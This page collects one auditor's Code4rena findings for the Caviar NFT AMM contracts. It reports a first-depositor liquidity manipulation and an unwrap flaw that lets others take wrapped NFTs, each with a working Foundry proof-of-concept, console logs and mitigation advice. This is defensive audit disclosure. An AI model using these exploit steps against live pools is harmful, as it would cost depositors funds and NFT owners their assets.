Caviar contest - ElKu's results

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417-L428 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63-L99

Vulnerability details

Impact

When a Pair is created, a malicious user can immediately add liquidity to it in a particular way that the following users who add liquidity to the contract will either get zero or very few LPTokens.

Proof of Concept

The malicious user can do this in the following way:

1. As soon as the Pair is created, the Malicious user calls the add function to add 1 baseTokenAmount and 1 fractionalTokenAmount. For the very first time, the number of liquidity tokens minted is calculated as per this formula: Math.sqrt(baseTokenAmount * fractionalTokenAmount)
2. So the current lpToken.totalSupply() is 1. baseTokenReserves() and fractionalTokenReserves() are also 1.
3. Now the malicious user calls the add function again with 1 baseTokenAmount and 10**18 fractionalTokenAmount. This time the number of minted LPTokens are calculated using this formula.

uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves();
uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves();
return Math.min(baseTokenShare, fractionalTokenShare);

4. After this second liquidity addition, the current lpToken.totalSupply() is 2. baseTokenReserves() is 2 and fractionalTokenReserves() is 10**18 + 1.
5. So the malicious user was successful in forcing the pool to have a very low liquidity token supply and a very small or a very large baseToken to fractionalToken reserve ratio.
6. From this moment on, any regular user who would add liquidity to the pool, will either get zero LPTokens in return or a very small amount as the POC shows.
7. And when they try to remove their liquidity from the pool, the returned amounts are disproportional to what they have added to the pool. Plus at the end there would be some funds stuck in the pool which would be impossible to withdraw as the POC shows.

The POC in foundry is given below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../../shared/Fixture.t.sol";
import "../../../src/Caviar.sol";
import "../../../script/CreatePair.s.sol";

contract ElkuLiquidityTest is Fixture {
    event Add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 lpTokenAmount);

    uint256 public baseTokenAmount = 1;
    uint256 public fractionalTokenAmount = 1;
    uint256 public dec = 18;

    function setUp() public {
        deal(address(usd), address(this), baseTokenAmount, true);
        deal(address(p), address(this), fractionalTokenAmount, true);
        deal(address(ethPair), address(this), fractionalTokenAmount, true);

        usd.approve(address(p), type(uint256).max);
    }

   function testElku21() public {
        uint256 lpTokenAmount;
        uint256 lpTokenSupplyBefore;

        uint256 minLpTokenAmount = Math.sqrt(baseTokenAmount * fractionalTokenAmount);
        emit log_named_decimal_uint("Initial lpToken.totalSupply()  ", lpTokenSupplyBefore, 0);
        emit log_named_decimal_uint("Initial baseTokenReserves      ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("Initial fractionalTokenReserves", p.fractionalTokenReserves(), dec);
        emit log("***Malicious user adds Initial liquidty");
        p.add(baseTokenAmount, fractionalTokenAmount, minLpTokenAmount); // initial add
        lpTokenSupplyBefore = lpToken.totalSupply();
        emit log_named_decimal_uint("lpToken.totalSupply()          ", lpTokenSupplyBefore, 0);
        emit log_named_decimal_uint("New baseTokenReserves          ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("New fractionalTokenReserves    ", p.fractionalTokenReserves(), dec);

        emit log("");
        emit log("***Malicious user adds more liquidty again");
        baseTokenAmount = 1;
        fractionalTokenAmount = 10**18;
        deal(address(usd), babe, baseTokenAmount, true);
        deal(address(p), babe, fractionalTokenAmount, true);

        vm.startPrank(babe);
        usd.approve(address(p), type(uint256).max);
        lpTokenAmount = p.add(baseTokenAmount, fractionalTokenAmount, 0);
        emit log_named_decimal_uint("New baseTokenReserves          ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("New fractionalTokenReserves    ", p.fractionalTokenReserves(), dec);
        emit log_named_decimal_uint("Change in lpToken.totalSupply()", lpToken.totalSupply() - lpTokenSupplyBefore, 0);

        emit log("");
        emit log("***Another regular user adding liquidity");
        baseTokenAmount = 10**16;
        fractionalTokenAmount = 10**16;
        deal(address(usd), babe, baseTokenAmount, true);
        deal(address(p), babe, fractionalTokenAmount, true);

        usd.approve(address(p), type(uint256).max);
        lpTokenSupplyBefore = lpToken.totalSupply();
        lpTokenAmount = p.add(baseTokenAmount, fractionalTokenAmount, 0);
        emit log_named_decimal_uint("New baseTokenReserves          ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("New fractionalTokenReserves    ", p.fractionalTokenReserves(), dec);
        emit log_named_decimal_uint("Change in lpToken.totalSupply()", lpToken.totalSupply() - lpTokenSupplyBefore, 0);


        emit log("");
        emit log("***Another regular user adding liquidity");
        baseTokenAmount = 10**18;
        fractionalTokenAmount = 10**18;
        deal(address(usd), babe, baseTokenAmount, true);
        deal(address(p), babe, fractionalTokenAmount, true);

        usd.approve(address(p), type(uint256).max);
        lpTokenSupplyBefore = lpToken.totalSupply();
        lpTokenAmount = p.add(baseTokenAmount, fractionalTokenAmount, 0);
        emit log_named_decimal_uint("New baseTokenReserves          ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("New fractionalTokenReserves    ", p.fractionalTokenReserves(), dec);
        emit log_named_decimal_uint("Change in lpToken.totalSupply()", lpToken.totalSupply() - lpTokenSupplyBefore, 0);

        emit log("");
        emit log("***Another regular user adding liquidity");
        baseTokenAmount = 10**18;
        fractionalTokenAmount = 10**21;
        deal(address(usd), babe, baseTokenAmount, true);
        deal(address(p), babe, fractionalTokenAmount, true);
        
        usd.approve(address(p), type(uint256).max);
        lpTokenSupplyBefore = lpToken.totalSupply();
        lpTokenAmount = p.add(baseTokenAmount, fractionalTokenAmount, 0);
        emit log_named_decimal_uint("New baseTokenReserves          ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("New fractionalTokenReserves    ", p.fractionalTokenReserves(), dec);
        emit log_named_decimal_uint("Change in lpToken.totalSupply()", lpToken.totalSupply() - lpTokenSupplyBefore, 0);

        //remove from LP
        emit log("");
        emit log("*********Removing Liquidity from the pool");
        emit log("");
        emit log("***User1 removing liquidity");
        lpTokenSupplyBefore = lpToken.totalSupply();
        emit log_named_decimal_uint("lpToken.totalSupply()", lpTokenSupplyBefore, 0);
        (baseTokenAmount,  fractionalTokenAmount) = p.remove(1, 0, 0);    
        emit log_named_decimal_uint("baseTokenAmount received            ", baseTokenAmount, dec);
        emit log_named_decimal_uint("fractionalTokenAmount received      ", fractionalTokenAmount, dec);
        emit log_named_decimal_uint("Current baseTokenReserves           ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("Current fractionalTokenReserves     ", p.fractionalTokenReserves(), dec);
        emit log_named_decimal_uint("Burned LPTokens                     ", lpTokenSupplyBefore - lpToken.totalSupply(), 0);

        emit log("");
        emit log("***User2 removing liquidity");
        lpTokenSupplyBefore = lpToken.totalSupply();
        emit log_named_decimal_uint("lpToken.totalSupply()", lpTokenSupplyBefore, 0);
        (baseTokenAmount,  fractionalTokenAmount) = p.remove(3, 0, 0);    
        emit log_named_decimal_uint("baseTokenAmount received            ", baseTokenAmount, dec);
        emit log_named_decimal_uint("fractionalTokenAmount received      ", fractionalTokenAmount, dec);
        emit log_named_decimal_uint("Current baseTokenReserves           ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("Current fractionalTokenReserves     ", p.fractionalTokenReserves(), dec);
        emit log_named_decimal_uint("Burned LPTokens                     ", lpTokenSupplyBefore - lpToken.totalSupply(), 0);

        emit log("");
        emit log("***User3 removing liquidity");
        lpTokenSupplyBefore = lpToken.totalSupply();
        emit log_named_decimal_uint("lpToken.totalSupply()", lpTokenSupplyBefore, 0);
        (baseTokenAmount,  fractionalTokenAmount) = p.remove(1, 0, 0);    
        emit log_named_decimal_uint("baseTokenAmount received            ", baseTokenAmount, dec);
        emit log_named_decimal_uint("fractionalTokenAmount received      ", fractionalTokenAmount, dec);
        emit log_named_decimal_uint("Current baseTokenReserves           ", p.baseTokenReserves(), dec);
        emit log_named_decimal_uint("Current fractionalTokenReserves     ", p.fractionalTokenReserves(), dec);
        emit log_named_decimal_uint("Burned LPTokens                     ", lpTokenSupplyBefore - lpToken.totalSupply(), 0);

        vm.stopPrank();
    }
}

The Printed out Logs are given below:

Running 1 test for test/Pair/unit/ElkuAdd.t.sol:ElkuLiquidityTest
[FAIL. Reason: Arithmetic over/underflow] testElku21() (gas: 1899168)
Logs:
  Initial lpToken.totalSupply()  : 0.0
  Initial baseTokenReserves      : 0.000000000000000000
  Initial fractionalTokenReserves: 0.000000000000000000
  ***Malicious user adds Initial liquidty
  lpToken.totalSupply()          : 1.0
  New baseTokenReserves          : 0.000000000000000001
  New fractionalTokenReserves    : 0.000000000000000001

  ***Malicious user adds more liquidty again
  New baseTokenReserves          : 0.000000000000000002
  New fractionalTokenReserves    : 1.000000000000000001
  Change in lpToken.totalSupply(): 1.0

  ***Another regular user adding liquidity
  New baseTokenReserves          : 0.010000000000000002
  New fractionalTokenReserves    : 1.010000000000000001
  Change in lpToken.totalSupply(): 0.0

  ***Another regular user adding liquidity
  New baseTokenReserves          : 1.010000000000000002
  New fractionalTokenReserves    : 2.010000000000000001
  Change in lpToken.totalSupply(): 1.0

  ***Another regular user adding liquidity
  New baseTokenReserves          : 2.010000000000000002
  New fractionalTokenReserves    : 1002.010000000000000001
  Change in lpToken.totalSupply(): 2.0

  *********Removing Liquidity from the pool

  ***User1 removing liquidity
  lpToken.totalSupply(): 5.0
  baseTokenAmount received            : 0.402000000000000000
  fractionalTokenAmount received      : 200.402000000000000000
  Current baseTokenReserves           : 1.608000000000000002
  Current fractionalTokenReserves     : 801.608000000000000001
  Burned LPTokens                     : 1.0

  ***User2 removing liquidity
  lpToken.totalSupply(): 4.0
  baseTokenAmount received            : 1.206000000000000001
  fractionalTokenAmount received      : 601.206000000000000000
  Current baseTokenReserves           : 0.402000000000000001
  Current fractionalTokenReserves     : 200.402000000000000001
  Burned LPTokens                     : 3.0

  ***User3 removing liquidity
  lpToken.totalSupply(): 1.0

Test result: FAILED. 0 passed; 1 failed; finished in 19.93ms

Failing tests:
Encountered 1 failing test in test/Pair/unit/ElkuAdd.t.sol:ElkuLiquidityTest
[FAIL. Reason: Arithmetic over/underflow] testElku21() (gas: 1899168)

You can see that the last user was not able to withdraw his tokens and 1 LPToken worth of funds were forever stuck in the pool.

Tools Used

Foundry, VSCode, Manual Analysis

Recommended Mitigation Steps

Add require conditions in the add function to make sure that such manipulations doesn't happen.

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L217-L263

Vulnerability details

Impact

If Alice wrap her NFT's with a particular pair contract, any other user who has enough fractionalTokens in the same pair contract can unwrap and take ownership of Alice's NFT's. This means that the trading of NFT's can happen just through the wrap and unwrap functions.

This cause loss to the protocol and liquidity pool users because there is no fee paid in this exchange. The 0.3% fee is paid to the liquidity pool only when the buy and sell functions are used. Which are called in the nftBuy and nftSell functions respectively.

Loss of liquidity pool fees implies direct loss to users and hence the High severity.

Proof of Concept

The unwrap function in the pair contract doesnt check if the tokenID's are originally wrapped by the same msg.sender who is trying to unwrap them. This is easily proven by the following POC in foundry:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../../shared/Fixture.t.sol";
import "../../../src/Caviar.sol";

contract ElkuUnwrap is Fixture {
    event Unwrap(uint256[] tokenIds);

    uint256[] public tokenIds;
    bytes32[][] public proofs;

    uint256[] public tokenIds2;
    bytes32[][] public proofs2;

    function setUp() public {
        bayc.setApprovalForAll(address(p), true);
        emit log("Relevant Addresses:");
        emit log_named_address("bayc         ",address(bayc));
        emit log_named_address("address(this)",address(this));
        emit log_named_address("pair         ",address(p));
        emit log("");

        //mint 2 tokens for this contract and wrap them in `pair` contract using 
        //this contract as the msg.sender
        for (uint256 i = 0; i < 2; i++) {
            bayc.mint(address(this), i);
            tokenIds.push(i);
        }
        emit log_named_address("1st set nft: owner before wrap",bayc.ownerOf(0));
        p.wrap(tokenIds, proofs); 
        emit log_named_address("1st set nft: owner after wrap ",bayc.ownerOf(0));
        emit log("");

        //mint next 2 tokens for address(1) and wrap them in `pair` contract using 
        //address(1) as the msg.sender
        for (uint256 i = 2; i < 4; i++) {
            bayc.mint(address(1), i);
            tokenIds2.push(i);
        }
        emit log_named_address("2nd set nft: owner before wrap",bayc.ownerOf(2));
        vm.startPrank(address(1));
        bayc.setApprovalForAll(address(p), true);
        p.wrap(tokenIds2, proofs2);
        emit log_named_address("2nd set nft: owner after wrap ",bayc.ownerOf(2));
        emit log("");

    }

    function testElku11() public {
        //unwrap the first two tokens(which belonged to this contract) using msg.sender as address(1)
        p.unwrap(tokenIds);
        emit log_named_address("1st set nft: owner after unwrap",bayc.ownerOf(0));
        emit log("address(1) was successfully able to unwrap nft's of address(this)");
    }
}

The Logs printed to the console is pasted below:

  Relevant Addresses:
  bayc         : 0xefc56627233b02ea95bae7e19f648d7dcd5bb132
  address(this): 0xb4c79dab8f259c7aee6e5b2aa729821864227e84
  pair         : 0x9cc6334f1a7bc20c9dde91db536e194865af0067

  1st set nft: owner before wrap: 0xb4c79dab8f259c7aee6e5b2aa729821864227e84
  1st set nft: owner after wrap : 0x9cc6334f1a7bc20c9dde91db536e194865af0067

  2nd set nft: owner before wrap: 0x0000000000000000000000000000000000000001
  2nd set nft: owner after wrap : 0x9cc6334f1a7bc20c9dde91db536e194865af0067

  1st set nft: owner after unwrap: 0x0000000000000000000000000000000000000001
  address(1) was successfully able to unwrap nft's of address(this)

Tools Used

Foundry, VSCode, Manual Analysis

Recommended Mitigation Steps

Do not let users call unwrap function directly on tokenID's which weren't wrapped by them.